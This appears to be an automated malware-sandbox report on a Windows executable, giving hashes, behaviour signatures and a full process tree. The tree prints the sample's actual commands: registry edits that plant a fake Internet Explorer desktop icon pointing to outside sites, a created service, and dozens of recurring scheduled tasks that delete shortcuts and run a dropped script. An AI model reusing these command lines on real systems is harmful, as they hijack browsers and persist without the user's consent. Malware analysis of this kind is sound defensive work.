Analysis

  • max time kernel
    102s
  • max time network
    148s
  • platform
    windows7_x64
  • resource
    win7-20220901-en
  • resource tags

    arch:x64arch:x86image:win7-20220901-enlocale:en-usos:windows7-x64system
  • submitted
    19/09/2022, 10:03

General

  • Target

    2d1c8e84b1f35198e75b62517ff6dfa22358e435b11f0278585b5e6ed7999c83.exe

  • Size

    111KB

  • MD5

    fbe6959908821fa3ea09c4f324c46c00

  • SHA1

    a0ac296fb482f6be9b47a4428e94f0b87851b0f3

  • SHA256

    2d1c8e84b1f35198e75b62517ff6dfa22358e435b11f0278585b5e6ed7999c83

  • SHA512

    5ffc516bfdba36b88cbc9558625dde31457258c99d9ff3869e9727601e7065b55588f82007fbcc53ebb2da37673dae07744ce32bdbfb42fc896d68b8c78370c0

  • SSDEEP

    3072:WwxVMhOC/dTDbq91+mno3t4QZQ3rAHsifl:WTfFDbRnOTrAMY

Score
8/10

Malware Config

Signatures

  • Creates new service(s) 1 TTPs
  • Drops file in Program Files directory 8 IoCs
  • Drops file in Windows directory 4 IoCs
  • Launches sc.exe 2 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies Internet Explorer settings 1 TTPs 34 IoCs
  • Modifies registry class 44 IoCs
  • Runs net.exe
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2d1c8e84b1f35198e75b62517ff6dfa22358e435b11f0278585b5e6ed7999c83.exe
    "C:\Users\Admin\AppData\Local\Temp\2d1c8e84b1f35198e75b62517ff6dfa22358e435b11f0278585b5e6ed7999c83.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1080
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\RarSFX0\51dd.vbs"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:472
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C start /min iexplore http://447.cc/index2.html?51dd
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:524
        • C:\Program Files\Internet Explorer\iexplore.exe
          "C:\Program Files\Internet Explorer\iexplore.exe" http://447.cc/index2.html?51dd
          4⤵
          • Modifies Internet Explorer settings
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of SetWindowsHookEx
          PID:1752
          • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
            "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1752 CREDAT:275457 /prefetch:2
            5⤵
            • Modifies Internet Explorer settings
            • Suspicious use of SetWindowsHookEx
            PID:320
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C .\to.cmd
        3⤵
        • Drops file in Windows directory
        • Suspicious use of WriteProcessMemory
        PID:584
        • C:\Windows\SysWOW64\reg.exe
          REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons\NewStartPanel" /v "{871C5380-42A0-1069-A2EA-08002B30309D}" /t REG_DWORD /d 1 /f
          4⤵
            PID:1664
          • C:\Windows\SysWOW64\reg.exe
            REG ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}"
            4⤵
            • Modifies registry class
            PID:568
          • C:\Windows\SysWOW64\reg.exe
            REG ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}" /v "InfoTip" /t REG_SZ /d "▓Θ╒╥▓ó╧╘╩╛ Internet ╔╧╡─╨┼╧ó║══°╒╛" /f
            4⤵
            • Modifies registry class
            PID:360
          • C:\Windows\SysWOW64\reg.exe
            REG ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}" /v "LocalizedString" /t REG_SZ /d "Internet Exploror" /f
            4⤵
            • Modifies registry class
            PID:1916
          • C:\Windows\SysWOW64\reg.exe
            REG ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\DefaultIcon"
            4⤵
            • Modifies registry class
            PID:1800
          • C:\Windows\SysWOW64\reg.exe
            REG ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\DefaultIcon" /ve /t REG_EXPAND_SZ /d "shdoclc.dll,0" /f
            4⤵
            • Modifies registry class
            PID:1048
          • C:\Windows\SysWOW64\reg.exe
            REG ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\InProcServer32"
            4⤵
            • Modifies registry class
            PID:1012
          • C:\Windows\SysWOW64\reg.exe
            REG ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\InProcServer32" /ve /t REG_SZ /d "%systemRoot%\system32\shdocvw.dll" /f
            4⤵
            • Modifies registry class
            PID:948
          • C:\Windows\SysWOW64\reg.exe
            REG ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\InProcServer32" /v "ThreadingModel" /t REG_SZ /d "Apartment" /f
            4⤵
            • Modifies registry class
            PID:1132
          • C:\Windows\SysWOW64\reg.exe
            REG ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\shell"
            4⤵
            • Modifies registry class
            PID:2004
          • C:\Windows\SysWOW64\reg.exe
            REG ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\shell" /ve /t REG_SZ /d "┤≥┐¬╓≈╥│(&H)" /f
            4⤵
            • Modifies registry class
            PID:1356
          • C:\Windows\SysWOW64\reg.exe
            REG ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\shell\┤≥┐¬╓≈╥│(&H)"
            4⤵
            • Modifies registry class
            PID:860
          • C:\Windows\SysWOW64\reg.exe
            REG ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\shell\┤≥┐¬╓≈╥│(&H)" /v "MUIVerb" /t REG_SZ /d "@shdoclc.dll,-10241" /f
            4⤵
            • Modifies registry class
            PID:1504
          • C:\Windows\SysWOW64\reg.exe
            REG ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\shell\┤≥┐¬╓≈╥│(&H)\Command"
            4⤵
            • Modifies registry class
            PID:1952
          • C:\Windows\SysWOW64\reg.exe
            REG ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\shell\┤≥┐¬╓≈╥│(&H)\Command" /ve /t REG_SZ /d "C:\progra~1\Intern~1\iexplore.exe http://dao666.com/?ha" /f
            4⤵
            • Modifies registry class
            PID:1988
          • C:\Windows\SysWOW64\reg.exe
            REG ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\shell\╩⌠╨╘(&R)"
            4⤵
            • Modifies registry class
            PID:1552
          • C:\Windows\SysWOW64\reg.exe
            REG ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\shell\╩⌠╨╘(&R)\Command"
            4⤵
            • Modifies registry class
            PID:1084
          • C:\Windows\SysWOW64\reg.exe
            REG ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\shell\╩⌠╨╘(&R)\Command" /ve /t REG_SZ /d "C:\progra~1\Intern~1\iexplore.exe http://dao666.com/?ha" /f
            4⤵
            • Modifies registry class
            PID:1956
          • C:\Windows\SysWOW64\reg.exe
            REG ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\ShellFolder"
            4⤵
            • Modifies registry class
            PID:1660
          • C:\Windows\SysWOW64\reg.exe
            REG ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\ShellFolder" /v "Attributes" /t REG_DWORD /d 0 /f
            4⤵
            • Modifies registry class
            PID:1640
          • C:\Windows\SysWOW64\reg.exe
            REG ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\ShellFolder" /v "HideFolderVerbs" /t REG_SZ /d "" /f
            4⤵
            • Modifies registry class
            PID:996
          • C:\Windows\SysWOW64\reg.exe
            REG ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\ShellFolder" /v "HideOnDesktopPerUser" /t REG_SZ /d "" /f
            4⤵
            • Modifies registry class
            PID:624
          • C:\Windows\SysWOW64\reg.exe
            REG ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\ShellFolder" /v "WantsParsDisplayName" /t REG_SZ /d "" /f
            4⤵
            • Modifies registry class
            PID:1388
          • C:\Windows\SysWOW64\reg.exe
            REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoInternetIcon" /t REG_DWORD /d 1 /f
            4⤵
              PID:740
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\System32\cmd.exe" /C .\copy.cmd
            3⤵
            • Drops file in Program Files directory
            PID:1820
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\System32\cmd.exe" /C .\run.cmd
            3⤵
              PID:1808
              • C:\Windows\SysWOW64\sc.exe
                sc create Schedule binpath= "C:\Windows\svchost.exe -k netsvcs" depend= rpcss start= auto displayname= "Task Scheduler"
                4⤵
                • Launches sc.exe
                PID:1712
              • C:\Windows\SysWOW64\sc.exe
                sc config Schedule start= auto
                4⤵
                • Launches sc.exe
                PID:552
              • C:\Windows\SysWOW64\net.exe
                net start "Task Scheduler"
                4⤵
                  PID:2008
                  • C:\Windows\SysWOW64\net1.exe
                    C:\Windows\system32\net1 start "Task Scheduler"
                    5⤵
                      PID:1716
                  • C:\Windows\SysWOW64\at.exe
                    at 8:30 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}"
                    4⤵
                      PID:1816
                    • C:\Windows\SysWOW64\at.exe
                      at 8:31 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\╫└├µ\*Explorer*.*"
                      4⤵
                        PID:1048
                      • C:\Windows\SysWOW64\at.exe
                        at 8:32 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\Application Data\Microsoft\Internet Explorer\Quick Launch\*Explorer*.*"
                        4⤵
                          PID:1612
                        • C:\Windows\SysWOW64\at.exe
                          at 9:30 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}"
                          4⤵
                            PID:1356
                          • C:\Windows\SysWOW64\at.exe
                            at 9:31 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\╫└├µ\*Explorer*.*"
                            4⤵
                              PID:1504
                            • C:\Windows\SysWOW64\at.exe
                              at 9:32 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\Application Data\Microsoft\Internet Explorer\Quick Launch\*Explorer*.*"
                              4⤵
                                PID:1988
                              • C:\Windows\SysWOW64\at.exe
                                at 10:30 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}"
                                4⤵
                                  PID:1084
                                • C:\Windows\SysWOW64\at.exe
                                  at 10:31 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\╫└├µ\*Explorer*.*"
                                  4⤵
                                    PID:1660
                                  • C:\Windows\SysWOW64\at.exe
                                    at 10:32 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\Application Data\Microsoft\Internet Explorer\Quick Launch\*Explorer*.*"
                                    4⤵
                                      PID:996
                                    • C:\Windows\SysWOW64\at.exe
                                      at 11:30 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}"
                                      4⤵
                                        PID:1388
                                      • C:\Windows\SysWOW64\at.exe
                                        at 11:31 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\╫└├µ\*Explorer*.*"
                                        4⤵
                                          PID:1964
                                        • C:\Windows\SysWOW64\at.exe
                                          at 11:32 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\Application Data\Microsoft\Internet Explorer\Quick Launch\*Explorer*.*"
                                          4⤵
                                            PID:1164
                                          • C:\Windows\SysWOW64\at.exe
                                            at 12:30 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}"
                                            4⤵
                                              PID:1960
                                            • C:\Windows\SysWOW64\at.exe
                                              at 12:31 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\╫└├µ\*Explorer*.*"
                                              4⤵
                                                PID:1732
                                              • C:\Windows\SysWOW64\at.exe
                                                at 12:32 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\Application Data\Microsoft\Internet Explorer\Quick Launch\*Explorer*.*"
                                                4⤵
                                                  PID:1664
                                                • C:\Windows\SysWOW64\at.exe
                                                  at 13:30 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}"
                                                  4⤵
                                                    PID:1716
                                                  • C:\Windows\SysWOW64\at.exe
                                                    at 13:31 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\╫└├µ\*Explorer*.*"
                                                    4⤵
                                                      PID:1368
                                                    • C:\Windows\SysWOW64\at.exe
                                                      at 13:32 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\Application Data\Microsoft\Internet Explorer\Quick Launch\*Explorer*.*"
                                                      4⤵
                                                        PID:984
                                                      • C:\Windows\SysWOW64\at.exe
                                                        at 14:30 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}"
                                                        4⤵
                                                          PID:1492
                                                        • C:\Windows\SysWOW64\at.exe
                                                          at 14:31 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\╫└├µ\*Explorer*.*"
                                                          4⤵
                                                            PID:860
                                                          • C:\Windows\SysWOW64\at.exe
                                                            at 14:32 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\Application Data\Microsoft\Internet Explorer\Quick Launch\*Explorer*.*"
                                                            4⤵
                                                              PID:1996
                                                            • C:\Windows\SysWOW64\at.exe
                                                              at 15:30 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}"
                                                              4⤵
                                                                PID:1552
                                                              • C:\Windows\SysWOW64\at.exe
                                                                at 15:31 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\╫└├µ\*Explorer*.*"
                                                                4⤵
                                                                  PID:316
                                                                • C:\Windows\SysWOW64\at.exe
                                                                  at 15:32 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\Application Data\Microsoft\Internet Explorer\Quick Launch\*Explorer*.*"
                                                                  4⤵
                                                                    PID:1640
                                                                  • C:\Windows\SysWOW64\at.exe
                                                                    at 16:30 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}"
                                                                    4⤵
                                                                      PID:432
                                                                    • C:\Windows\SysWOW64\at.exe
                                                                      at 16:31 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\╫└├µ\*Explorer*.*"
                                                                      4⤵
                                                                        PID:740
                                                                      • C:\Windows\SysWOW64\at.exe
                                                                        at 16:32 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\Application Data\Microsoft\Internet Explorer\Quick Launch\*Explorer*.*"
                                                                        4⤵
                                                                          PID:584
                                                                        • C:\Windows\SysWOW64\at.exe
                                                                          at 17:30 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}"
                                                                          4⤵
                                                                            PID:1328
                                                                          • C:\Windows\SysWOW64\at.exe
                                                                            at 17:31 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\╫└├µ\*Explorer*.*"
                                                                            4⤵
                                                                              PID:1820
                                                                            • C:\Windows\SysWOW64\at.exe
                                                                              at 17:32 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\Application Data\Microsoft\Internet Explorer\Quick Launch\*Explorer*.*"
                                                                              4⤵
                                                                                PID:660
                                                                              • C:\Windows\SysWOW64\at.exe
                                                                                at 18:30 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}"
                                                                                4⤵
                                                                                  PID:548
                                                                                • C:\Windows\SysWOW64\at.exe
                                                                                  at 18:31 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\╫└├µ\*Explorer*.*"
                                                                                  4⤵
                                                                                    PID:1812
                                                                                  • C:\Windows\SysWOW64\at.exe
                                                                                    at 18:32 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\Application Data\Microsoft\Internet Explorer\Quick Launch\*Explorer*.*"
                                                                                    4⤵
                                                                                      PID:1980
                                                                                    • C:\Windows\SysWOW64\at.exe
                                                                                      at 19:30 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}"
                                                                                      4⤵
                                                                                        PID:1968
                                                                                      • C:\Windows\SysWOW64\at.exe
                                                                                        at 19:31 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\╫└├µ\*Explorer*.*"
                                                                                        4⤵
                                                                                          PID:1156
                                                                                        • C:\Windows\SysWOW64\at.exe
                                                                                          at 19:32 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\Application Data\Microsoft\Internet Explorer\Quick Launch\*Explorer*.*"
                                                                                          4⤵
                                                                                            PID:2024
                                                                                          • C:\Windows\SysWOW64\at.exe
                                                                                            at 20:30 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}"
                                                                                            4⤵
                                                                                              PID:1084
                                                                                            • C:\Windows\SysWOW64\at.exe
                                                                                              at 20:31 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\╫└├µ\*Explorer*.*"
                                                                                              4⤵
                                                                                                PID:1804
                                                                                              • C:\Windows\SysWOW64\at.exe
                                                                                                at 20:32 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\Application Data\Microsoft\Internet Explorer\Quick Launch\*Explorer*.*"
                                                                                                4⤵
                                                                                                  PID:1568
                                                                                                • C:\Windows\SysWOW64\at.exe
                                                                                                  at 21:30 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}"
                                                                                                  4⤵
                                                                                                    PID:1212
                                                                                                  • C:\Windows\SysWOW64\at.exe
                                                                                                    at 21:31 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\╫└├µ\*Explorer*.*"
                                                                                                    4⤵
                                                                                                      PID:1508
                                                                                                    • C:\Windows\SysWOW64\at.exe
                                                                                                      at 21:32 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\Application Data\Microsoft\Internet Explorer\Quick Launch\*Explorer*.*"
                                                                                                      4⤵
                                                                                                        PID:1668
                                                                                                      • C:\Windows\SysWOW64\at.exe
                                                                                                        at 22:30 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}"
                                                                                                        4⤵
                                                                                                          PID:1712
                                                                                                        • C:\Windows\SysWOW64\at.exe
                                                                                                          at 22:31 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\╫└├µ\*Explorer*.*"
                                                                                                          4⤵
                                                                                                            PID:1692
                                                                                                          • C:\Windows\SysWOW64\at.exe
                                                                                                            at 22:32 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\Application Data\Microsoft\Internet Explorer\Quick Launch\*Explorer*.*"
                                                                                                            4⤵
                                                                                                              PID:1524
                                                                                                            • C:\Windows\SysWOW64\at.exe
                                                                                                              at 23:30 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}"
                                                                                                              4⤵
                                                                                                                PID:692
                                                                                                              • C:\Windows\SysWOW64\at.exe
                                                                                                                at 23:31 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\╫└├µ\*Explorer*.*"
                                                                                                                4⤵
                                                                                                                  PID:1832
                                                                                                                • C:\Windows\SysWOW64\at.exe
                                                                                                                  at 23:32 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\Application Data\Microsoft\Internet Explorer\Quick Launch\*Explorer*.*"
                                                                                                                  4⤵
                                                                                                                    PID:616
                                                                                                                  • C:\Windows\SysWOW64\at.exe
                                                                                                                    at 00:31 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\╫└├µ\*Explore*.*"
                                                                                                                    4⤵
                                                                                                                      PID:1996
                                                                                                                    • C:\Windows\SysWOW64\at.exe
                                                                                                                      at 00:32 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\Application Data\Microsoft\Internet Explorer\Quick Launch\*Explore*.*"
                                                                                                                      4⤵
                                                                                                                        PID:1552
                                                                                                                      • C:\Windows\SysWOW64\at.exe
                                                                                                                        at 00:30 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}"
                                                                                                                        4⤵
                                                                                                                          PID:1660
                                                                                                                        • C:\Windows\SysWOW64\at.exe
                                                                                                                          at 10:33 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\╫└├µ\*Σ»└└*.*"
                                                                                                                          4⤵
                                                                                                                            PID:1828
                                                                                                                          • C:\Windows\SysWOW64\at.exe
                                                                                                                            at 10:34 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\Application Data\Microsoft\Internet Explorer\Quick Launch\*Σ»└└*.*"
                                                                                                                            4⤵
                                                                                                                              PID:432
                                                                                                                            • C:\Windows\SysWOW64\at.exe
                                                                                                                              at 10:35 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday C:\WINDOWS\mail\UltraEdlt\is.cmd
                                                                                                                              4⤵
                                                                                                                                PID:1880
                                                                                                                              • C:\Windows\SysWOW64\at.exe
                                                                                                                                at 10:36 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Documents and Settings\All Users\╫└├µ\*Σ»└└*.*"
                                                                                                                                4⤵
                                                                                                                                  PID:1936
                                                                                                                                • C:\Windows\SysWOW64\at.exe
                                                                                                                                  at 14:33 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\╫└├µ\*Σ»└└*.*"
                                                                                                                                  4⤵
                                                                                                                                    PID:112
                                                                                                                                  • C:\Windows\SysWOW64\at.exe
                                                                                                                                    at 14:34 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\Application Data\Microsoft\Internet Explorer\Quick Launch\*Σ»└└*.*"
                                                                                                                                    4⤵
                                                                                                                                      PID:1732
                                                                                                                                    • C:\Windows\SysWOW64\at.exe
                                                                                                                                      at 14:35 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday C:\WINDOWS\mail\UltraEdlt\is.cmd
                                                                                                                                      4⤵
                                                                                                                                        PID:1664
                                                                                                                                      • C:\Windows\SysWOW64\at.exe
                                                                                                                                        at 14:36 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Documents and Settings\All Users\╫└├µ\*Σ»└└*.*"
                                                                                                                                        4⤵
                                                                                                                                          PID:548
                                                                                                                                        • C:\Windows\SysWOW64\at.exe
                                                                                                                                          at 19:33 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\╫└├µ\*Σ»└└*.*"
                                                                                                                                          4⤵
                                                                                                                                            PID:992
                                                                                                                                          • C:\Windows\SysWOW64\at.exe
                                                                                                                                            at 19:34 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\Application Data\Microsoft\Internet Explorer\Quick Launch\*Σ»└└*.*"
                                                                                                                                            4⤵
                                                                                                                                              PID:1972
                                                                                                                                            • C:\Windows\SysWOW64\at.exe
                                                                                                                                              at 19:35 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday C:\WINDOWS\mail\UltraEdlt\is.cmd
                                                                                                                                              4⤵
                                                                                                                                                PID:1160
                                                                                                                                              • C:\Windows\SysWOW64\at.exe
